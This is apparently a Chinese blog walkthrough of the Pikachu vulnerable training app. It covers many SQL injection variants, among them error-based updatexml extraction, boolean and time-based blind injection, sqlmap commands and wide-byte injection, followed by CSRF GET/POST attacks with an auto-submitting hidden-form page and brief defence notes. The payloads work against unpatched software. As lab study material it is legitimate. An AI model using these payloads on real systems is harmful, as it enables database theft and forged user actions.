something about Pikachu - SQL-Inject

pikachu

pikachu => 备份地址

SQL-Inject

概述

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台进行处理时,未对数据做严格的判断,导致传入的恶意内容拼接 到SQL语句中,被当做SQL语句的一部分执行,从而导致数据库受损。

  • 防范SQL注入策略

    • 对前端传递来的数据进行过滤,不允许危险字符传入

    • 使用参数化查询的方式(Parameterized Query/Parameterized Statement)

    • 目前很多ORM框架也提供了SQL拼接方式查询,使用时需要注意

数字型注入(post)

  • 手动注入

    使用burpsuite抓到包后,在请求参数后添加boolean为真的语句。观察是否检索结果有不同。
    全部结果检索出来,SQL注入成功。

    1
    id=2 or true#&submit=%E6%9F%A5%E8%AF%A2
  • sqlmap

    使用burpsuite抓包后将请求信息保存至文件,由sqlmapid进行注入。

    1
    sqlmap -r number.txt --level=5 --risk=3 -p id --dbs --batch

字符型注入(get)

  • 手动注入

    使用burpsuite抓到包后,在请求参数后添加boolean为真的语句。观察是否检索结果有不同。
    值得注意的是,由于GET参数拼接在URL中,因此最好将注入的内容进行URL编码。

    1
    2
    3
    # + => 空格
    # %23 => #
    /pikachu/vul/sqli/sqli_str.php?name=vience'or+true%23&submit=%E6%9F%A5%E8%AF%A2
  • sqlmap

    使用burpsuite抓包后将请求信息保存至文件,由sqlmap进行对name进行注入。

    1
    sqlmap -r charsequence.txt --level=5 --risk=3 -p name --dbs --batch

搜索型注入

  • 手动注入

    字符型注入相同。

    1
    /pikachu/vul/sqli/sqli_search.php?name=vi'or+true%23&submit=%E6%90%9C%E7%B4%A2
  • sqlmap

    使用burpsuite抓包后将请求信息保存至文件,由sqlmap进行对name进行注入。

    1
    sqlmap -r search.txt --level=5 --risk=3 -p name --dbs --batch

xx型注入

  • 手动注入

    字符型注入相同。

    1
    /pikachu/vul/sqli/sqli_x.php?name=hello'or+true%23&submit=%E6%9F%A5%E8%AF%A2

    经尝试,会报SQL错误,因此可能是SQL语句未闭合。

    1
    /pikachu/vul/sqli/sqli_x.php?name=hello')or+true%23&submit=%E6%9F%A5%E8%AF%A2
  • sqlmap

    字符型注入相同。

    1
    sqlmap -r xx.txt --level=5 --risk=3 -p name --dbs --batch

    得到payload为有)的闭合语句。

    1
    name=hello') AND 7065=(SELECT (CASE WHEN (7065=7065) THEN 7065 ELSE (SELECT 1143 UNION SELECT 7507) END))-- -&submit=%E6%9F%A5%E8%AF%A2

insert/update注入

可以应用报错注入。获得关心的信息。
此次利用了updatexml(xml_document, XPath, new_Value)函数中,XPath中不可包含~字符,因此使用0x7e时,一定会报错。 当程序开启了报错打印后,报错信息就会显示在页面上。

1
2
3
4
# 构造insert into table(name, passwd)values('ABC', '123'); 中`ABC`为以下内容
# name' or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir), 0)or'
# 构造的URL完整参数部分
username=name' or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir), 0)or'&password=123&sex=&phonenum=&email=&add=&submit=submit

得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'

delete注入

insert/update注入相同,使用报错注入。

构造对应URL。

1
2
3
4
5
# URLencode
# %40 ==> @
# %23 ==> #
# /pikachu/vul/sqli/sqli_del.php?id=updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),0)#
/pikachu/vul/sqli/sqli_del.php?id=updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,%40%40datadir),0)%23

得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'

http header注入

尝试对HTTP头进行修改后发包,发现会有SQL报错,因此对HTTP头的属性进行注入。
此次对User-Agent进行注入。

1
User-Agent: 'or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),0)or'#

得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'

盲注(base on boolean)

  • 手动注入

    针对name做注入,值得注意的是,pikachu对返回件数有判断,因此使用limit语句限制返回件数。

    1
    2
    # # => %23
    /pikachu/vul/sqli/sqli_blind_b.php?name=hello'+or+true+limit+1%23&submit=%E6%9F%A5%E8%AF%A2
  • sqlmap

    字符型注入相同。

    1
    sqlmap -r boolean.txt --level=5 --risk=3 -p name --dbs --batch

    得到报错payload

    1
    2
    # 需要自行`URLencode`,注意`name=`中的`=`不要`encode`
    name=hello'||(SELECT 0x6e6b7342 WHERE 6588=6588 AND (SELECT 7080 FROM(SELECT COUNT(*),CONCAT(0x7176767a71,(SELECT (ELT(7080=7080,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&submit=%E6%9F%A5%E8%AF%A2

盲注(base on time)

  • 手动注入

    针对name注入,基于时间盲注,查看页面响应时间。

    1
    2
    # 检索时等待5s
    /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+sleep(5)%23&submit=%E6%9F%A5%E8%AF%A2

    基于时间的盲注一般与if分支结合。

    if(condition, case1, case2)意为:

    1
    2
    3
    4
    5
    if condition
    case1
    else
    case2
    endif

    当数据库的名称首字母为a时,页面等待5s,否则正常。
    数据库的名字为pikachu,与a不相等,因此正常响应。

    1
    2
    # if(substr(database(),1,1)='a',sleep(5),null)
    /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'a',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2

    当数据库的名称首字母为p时,页面等待5s,否则正常。
    此次响应等待了5s,因此可以判断数据库的名字的首字母为p

    1
    2
    # if(substr(database(),1,1)='p',sleep(5),null)
    /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'p',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2

宽字节注入

  • 手动注入

    针对name注入。

    1
    2
    # 单引号前增加`%df`
    name=hello%df%27or+true%23&submit=%E6%9F%A5%E8%AF%A2

something about Pikachu - CSRF

pikachu

pikachu => 备份地址

CSRF

概述

Cross-site request forgery,简称’CSRF’。由攻击者伪造一个请求(一般以链接的形式),然后欺骗用户进行点击, 用户一但点击了请求,整个攻击就完成了。因此CSRF攻击也被称为one click攻击。

  • CSRF 与 XSS 区别

    XSS一般盗取用户的cookie后,由攻击者利用cookie自行执行恶意操作。 攻击者 登录凭证
    CSRF则是攻击者构造好恶意请求后,交给用户,由用户本人自行点击链接发起请求,若刚好用户的对应网站刚好处于登录 状态,那么相当于用户自己做的恶意操作。 攻击者 登录凭证

  • CSRF防范

    • 对敏感操作增加安全token

    • 对敏感操作增加验证码

    • 对敏感操作增加安全逻辑流程

      如修改密码时先验证旧密码。

CSRF(get)

修改个人信息没有安全防护,因此构造恶意链接诱导用户点击,修改用户性别。

1
/http://train.com/pikachu/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

CSRF(post)

构造一个html页面,诱导用户访问,页面访问后执行恶意请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postBtn").click();
}
</script>
</head>

<body>
<div>
<h1>正常页面</h1>
</div>

<div style="display: none">
<form method="post" action="http://train.com/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input name="sex" value="bad">
<input name="phonenum" value="18626545453">
<input name="add" value="china">
<input name="email" value="vince@pikachu.com">
<input id="postBtn" type="submit" name="submit" value="submit">
</form>
</div>
</body>
</html>

CSRF(token)

页面有一个隐藏域用来持有token值,此token值是正常登录访问页面时服务器给的随机值, 不是能够简单获取的。因此,使用token进行防范,是一个比较好的手段。